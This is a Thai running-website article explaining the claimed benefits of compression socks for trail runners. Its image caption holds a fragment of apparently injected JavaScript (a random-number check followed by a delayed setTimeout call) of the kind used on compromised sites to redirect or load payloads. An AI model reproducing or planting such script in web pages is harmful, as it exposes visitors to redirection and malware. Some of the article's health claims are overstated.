• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Gadget Tips

เกิดมาคู่กัน…ทำไมนักวิ่งเทรลชอบใส่ COMPRESSION SOCK

kan by kan
25 April 2018
in Gadget Tips, Running Tips, Tips & Technics
0
ทำไม.. “ถุงเท้าวิ่ง”จึงเเตกต่างจากถุงเท้าธรรมดาทั่วไป

From FeeturesBrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

หนึ่งในไอเท็มของนักวิ่งที่เรียกว่า…ของมันต้องมี! นั้นคือ ถุงเท้ารัดกล้ามเนื้อ (Compression sock) หรือจะเป็นแบบถุงเท้ารัดน่อง (Compression sleeves calf) อุปกรณ์ที่พบเห็นได้ทั่วไปตามงานวิ่ง Road Running และโดยเฉพาะงานวิ่งเทรล (Trail Running) จะพบมากเป็นพิเศษ คำถามคือทำไมนักวิ่งถึงชื่นชอบใส่กันนัก โดยเฉพาะนักวิ่งระดับ Elite

Compression Sock มันมีประโยชน์อะไร เราร่วมค้นหาคำตอบร่วมกันเลย Let’s find out!!!

ถุงเท้ารัดน่องคืออะไร

ถ้าจะตอบสั้นๆ มันก็ถุงเท้าที่มีความยืดหยุ่นสูง สามารถรัดรอบเท้าและขาได้อย่างกระชับ (กระชับมาชนิดแบบบีบกล้ามเนื้อกันเลย) ทำมาจากเส้นใยผ้าสังเคราะห์ที่มีความเหนียว ทนทานต่อการดึงยืด คือตัวได้ดี จุดประสงค์ของถุงเท้ารัดน่องอย่างที่เห็นได้ชัดเจนคือ เพื่อเพิ่มปริมาณการไหลของเลือดไปเลี้ยงกล้ามเนื้อให้สูงขึ้น (Improve blood circulation)

Compression sock

เพิ่มปริมาณการไหลเวียนของเลือดและออกซิเจนให้เพิ่มขึ้น (IMPROVES FLOW OF CIRCULATION AND INCREASES THE DELIVERY OF OXYGEN)

การที่ปริมาณเลือดสามารถไหลเวียนไปเลี้ยงกล้ามเนื้อได้มากนั้น ก็คือการที่เลือดสามารถลำเลียงออกซิเจนและสารอาหารไปเลี้ยงกล้ามเนื้อได้เยอะขึ้น ทำให้สามารถสร้างพลังงานได้มากขึ้น การไหลเวียนเลือดช่วยลำเลียงและลดอุณหภูมิ นอกจากนี้ยังช่วยลดการทำงานของหัวใจลง

เพิ่มความมั่นคงทุกย่างก้าว (HELP PROVIDE MORE STABILITY)

ถุงเท้ารัดน่องจะช่วยรักษาตำแหน่งกล้ามเนื้อให้อยู่กับที่ ทำหน้าที่ประคองกล้ามเนื้อส่วนต่างๆ เช่น กล้ามเนื้อข้อเท้า น่อง ให้มีการสั้นไหวน้อยลง รักษาไม้ให้มัดกล้ามเนื้อเหวี่ยงไปมาตามจังหวะการวิ่ง ใครที่มีปัญหาเรื่อง ปวดกล้ามเนื้อหน้าแข้งและโรครองช้ำ ถุงเท้ารัดกล้ามเนื้อสามารถช่วยลดบรรเทาอาการบาดเจ็บลงได้นะ หรือใครที่รู้ตัวว่าการลงเท้าตัวเองทุกครั้งไม่มั่นคงเพราะกล้ามเนื้อไม่แข็งแรง ก็แนะนำให้ลองใช้ถุงเท้ารัดกล้ามเนื้อดู

รักษาอุณหภูมิและป้องกันผิวหนังนักวิ่ง (OFFER WARMTH & LEG PROTECTION)

อยู่เมืองไทยอากาศมันร้อน เราอาจจะไม่เห็นผลของถุงเท้ารัดกล้ามเนื้อชัดเจนนัก แต่ในเขตอากาศเมืองหนาว ถุงเท้ารัดกล้ามเนื้อจะช่วยรักษาอุณหภูมิให้ความรู้สึกอบอุ่นได้ด้วย เบาและระบายเหงื่อได้ดี จึงเป็นที่ชื่นชอบของนักวิ่ง

นอกจากนี้สำหรับนักวิ่งเทรลแล้ว กล้ามเนื้อช่วงล่างตั้งแต่ เข่าลงไปถึงหน้าแข่งและน่อง มีโอกาสพาดฟันกับกิ่งไม้และเสี้ยนหนามมาก การใส่ถุงเท้ารัดน่องจะช่วยป้องกันไม่ให้เกิดการเกี่ยวจนเกิดแผลสดได้ด้วย

ลดเวลาการฟื้นตัวลง (REDUCE RECOVERY TIMES)

การใส่ถุงเท้ารัดกล้ามเนื้อจะช่วยลดเวลาฟื้นฟูร่างกายลง เหตุเพราะการบีบรัดของถุงเท้าทำหน้าที่เหมือนการนวด ทำให้การไหลเวียนของเลือดที่เพิ่มขึ้นได้นำพาออกซิเจนและอาหารไปเลี้ยงมากขึ้น ที่สำคัญคือการนำพาของเสียออกจากเซลกล้ามเนื้อออกไป เหตุนี้กล้ามเนื้อทำงานน้อยลงและมีของเสียสะสมน้อย ทำให้ใช้เวลารักษาฟื้นฟูลดลง

ท้ายนี้ สำหรับประโยชน์ที่ผู้เขียนเห็นว่าชัดเจนที่สุด คือ ใส่แล้วมันดูเท่อย่างกับนักวิ่ง Elite นั้นเอง จะใส่วิ่งงานไหนก็ดูดี ดูเป็นมือโปร

อ้างอิงauthorityrunning.com

Tags: COMPRESSION SOCKTrailTrail Running
ShareTweetShare
kan

kan

Related Posts

Running Tips

9 เคล็ดลับพิชิตเทรล สำหรับนักวิ่งมือใหม่

15 November 2018
KPTC Trial 2018 : 6 Basic Trail Tips, You Must Know..!!! 6 พื้นฐานเทรลที่นักวิ่งควรรู้
Running Tips

KPTC Trial 2018 : 6 Basic Trail Tips, You Must Know..!!! 6 พื้นฐานเทรลที่นักวิ่งควรรู้

30 April 2018
ทริค & ทิป สำหรับนักวิ่งTrailมือใหม่
Running Tips

ปลอดภัยไว้ก่อน KPTC Safety Trail Tips : วิ่งเทรลอย่างไรให้ปลอดภัย (ด้วยความปรารถนาดีจากเขาประทับช้างเทรล)

30 April 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.